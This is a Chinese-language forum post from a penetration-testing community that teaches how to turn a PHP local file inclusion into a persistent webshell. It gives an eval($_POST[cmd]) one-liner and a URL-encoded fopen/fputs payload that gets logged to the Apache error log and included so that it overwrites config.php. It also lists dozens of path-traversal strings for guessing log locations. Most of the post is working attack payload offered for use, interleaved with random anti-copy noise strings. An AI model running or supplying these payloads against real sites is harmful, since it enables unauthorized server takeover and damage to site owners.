中国网络渗透测试联盟
标题:
php包含apache日志写马
[打印本页]
作者:
admin
时间:
2012-9-15 14:27
标题:
php包含apache日志写马
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
9 ~. l% G; q5 @) H. e7 v* U
2 P6 ?! _( L Y1 ^( z
比如还是这句一句话木马
$ v5 F" g" s" i6 {1 u/ \
<?eval($_POST[cmd]);?>
n2 T6 {0 V# T
7 w( w/ \% E: N; u* f3 Z3 P, e, A
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
) `0 x) \1 ?! R, Z" }$ `
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
1 E$ H% r3 L3 ?5 `
- @- S; D A9 E4 Q
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
# x& E4 v4 j& j' ^
fclose($fp);?> //在config.php里写入一句木马语句
- U7 ~; F5 d r# u P
; q6 h# K7 j4 q! x% ]+ A# a
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
% t+ ]) i ?4 J
转换为
A5 _, v1 a) j/ G* ~6 M
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
- S! e6 [7 F4 g! x4 Y% p3 D
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
( G# K, x3 Q i5 I R/ e
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
3 k1 q( C6 R0 b( A4 g$ D
fclose%28%24fp%29%3B%3F%3E
- v0 v8 y8 _# l
我们提交
- b2 k: X! L' C- D
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
5 ]- z8 E( p' g5 [8 G' E
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
) b5 D) a) b0 S* t# |3 H
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
- E1 d* c& P; N) q; s
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
0 V2 w: ?6 |+ N# _, a% w( M
5 i5 v8 J8 S' v! | z& b
这样就错误日志里就记录下了这行写入webshell的代码。
, ^0 B" N; E0 e4 U$ V% p
我们再来包含日志,提交
% b* X- v! \6 f+ h' _9 e4 W
http://xxx.com/z.php?zizzy=/home
... /logs/www-error_log
p1 V: U; i( ~; a
. q4 j* f( t0 x/ J8 U
这样webshell就写入成功了,config.php里就写入一句木马语句
* t. _3 \/ K3 @. X6 ^
OK.
6 X( Z/ n; {' [' i
http://www.xxx.com/forum/config.php
这个就成了我们的webshell
) {, U% U8 h Y. A" W1 A5 S2 E4 Q
直接用lanker的客户端一连,主机就是你的了。
/ w( }3 P8 W' r8 R& [& z. b
6 i6 y6 a& Q6 ~4 a9 S& t
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
8 [) z) x( l# j5 c" x( Y# ~( S: l" ^+ H9 }
, H6 g6 e3 n' S
其他的日志路径,你可以去猜,也可以参照这里。
) l4 ^6 @0 K; y
../../../../../../../../../../var/log/httpd/access_log
. v1 S) e! D6 Z9 V. ]
../../../../../../../../../../var/log/httpd/error_log
% H/ h5 h( T) y7 a
../apache/logs/error.log
. y; q& O# C' A# ]9 Y
../apache/logs/access.log
! u+ @( v; U9 z$ _/ F) O0 G
../../apache/logs/error.log
/ F3 r3 D& D% P0 U8 p
../../apache/logs/access.log
% @% q! R6 D0 m4 t/ U3 `* o
../../../apache/logs/error.log
" g# X6 g, v" Y5 i. n( Y$ F
../../../apache/logs/access.log
4 Q$ f& {$ c5 ~4 Z0 m
../../../../../../../../../../etc/httpd/logs/acces_log
S1 u& y9 {. H; {
../../../../../../../../../../etc/httpd/logs/acces.log
% ~9 d# @+ G$ [1 X* E
../../../../../../../../../../etc/httpd/logs/error_log
, D; p8 }/ C" N- _4 C7 ~" M2 L
../../../../../../../../../../etc/httpd/logs/error.log
; {0 \5 d2 U4 v5 l7 l
../../../../../../../../../../var/www/logs/access_log
& N1 S1 x4 P8 r& m2 o$ K
../../../../../../../../../../var/www/logs/access.log
5 @) b7 T, D6 m% ]$ _+ D. P
../../../../../../../../../../usr/local/apache/logs/access_log
! v0 L9 a" {9 m$ o2 U! X5 G
../../../../../../../../../../usr/local/apache/logs/access.log
7 u* v4 }* J8 I
../../../../../../../../../../var/log/apache/access_log
) a" U0 F! }0 v+ ]
../../../../../../../../../../var/log/apache/access.log
7 r; j$ D- C, I; A5 g% \
../../../../../../../../../../var/log/access_log
- e D6 l) ^- |; l# z
../../../../../../../../../../var/www/logs/error_log
1 q! ?2 O" ^- J% a; q& `0 n
../../../../../../../../../../var/www/logs/error.log
6 O9 H! ^6 }& r' C( v' w
../../../../../../../../../../usr/local/apache/logs/error_log
7 b. ?8 H8 z. w) g8 m' v4 t
../../../../../../../../../../usr/local/apache/logs/error.log
i# m5 S0 x0 }. o5 N" r; A
../../../../../../../../../../var/log/apache/error_log
( ?& M1 ?% S. z& U$ {3 p6 ?
../../../../../../../../../../var/log/apache/error.log
$ C, K' C$ N$ E' u# T# S0 ]& z j! D
../../../../../../../../../../var/log/access_log
: s3 n$ ?7 G# H7 s! n
../../../../../../../../../../var/log/error_log
/ l' X$ l! |% Q% Y7 K8 h
/var/log/httpd/access_log
& U% k' ~' v0 p0 s8 t
/var/log/httpd/error_log
2 S1 y" c4 q* c5 s2 U0 y
../apache/logs/error.log
9 {/ D# f9 G, S) w' w4 A( E
../apache/logs/access.log
8 r! [; c. f$ b: u) N- }
../../apache/logs/error.log
0 \* E2 F( |1 q3 e3 H
../../apache/logs/access.log
) i- V! {. @% e/ S# l
../../../apache/logs/error.log
! o. d# J! r2 G" ~* g! @) i' F
../../../apache/logs/access.log
; T; N; C7 C7 b" k+ I( [
/etc/httpd/logs/acces_log
+ t' B [2 L. e/ M
/etc/httpd/logs/acces.log
8 ]1 F% u6 F) E" W/ q5 ?
/etc/httpd/logs/error_log
. C* W/ v/ {8 Z* ]9 G1 U
/etc/httpd/logs/error.log
* G1 N4 g" n6 q( y( A
/var/www/logs/access_log
: M8 m, n5 {4 K) R# M% s
/var/www/logs/access.log
6 r5 L7 V3 a6 ?1 I
/usr/local/apache/logs/access_log
. D. T7 G' _# q& Z5 s
/usr/local/apache/logs/access.log
1 ?; a" G" r: e5 H" P- F o# D
/var/log/apache/access_log
! f4 D4 `9 X! E6 p- T$ b" t$ w
/var/log/apache/access.log
# ^7 G' R _- t- ]
/var/log/access_log
0 Q+ U/ L6 B+ m: c; w5 d
/var/www/logs/error_log
1 v+ K" {$ I3 B6 O6 @: i
/var/www/logs/error.log
, t. M' N- J' S
/usr/local/apache/logs/error_log
6 ?* }8 T$ f k
/usr/local/apache/logs/error.log
6 |5 S4 \0 i; L9 U( w2 w* l
/var/log/apache/error_log
( H0 u7 b" c$ a
/var/log/apache/error.log
8 ^) K" K+ m8 d' L# K, L0 k( L
/var/log/access_log
- c1 O& {( R( t& }8 s
/var/log/error_log
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2